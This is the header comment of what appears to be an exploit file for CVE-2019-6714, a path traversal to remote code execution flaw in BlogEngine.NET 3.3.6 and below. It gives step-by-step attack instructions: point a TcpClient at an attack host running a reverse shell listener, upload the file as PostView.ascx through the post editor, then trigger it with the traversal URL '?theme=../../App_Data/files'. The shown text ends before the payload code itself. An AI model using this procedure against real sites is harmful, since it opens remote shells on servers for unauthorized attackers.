/*
 * CVE-2019-6714
 *
 * Path traversal vulnerability leading to remote code execution.  This 
 * vulnerability affects BlogEngine.NET versions 3.3.6 and below.  This 
 * is caused by an unchecked "theme" parameter that is used to override
 * the default theme for rendering blog pages.  The vulnerable code can 
 * be seen in this file:
 * 
 * /Custom/Controls/PostList.ascx.cs
 *
 * Attack:
 *
 * First, we set the TcpClient address and port within the method below to 
 * our attack host, who has a reverse tcp listener waiting for a connection.
 * Next, we upload this file through the file manager.  In the current (3.3.6)
 * version of BlogEngine, this is done by editing a post and clicking on the 
 * icon that looks like an open file in the toolbar.  Note that this file must
 * be uploaded as PostView.ascx. Once uploaded, the file will be in the
 * /App_Data/files directory off of the document root. The admin page that
 * allows upload is:
 *
 * http://10.10.10.10/admin/app/editor/editpost.cshtml
 *
 *
 * Finally, the vulnerability is triggered by accessing the base URL for the 
 * blog with a theme override specified like so:
 *
 * http://10.10.10.10/?theme=../../App_Data/files
 *
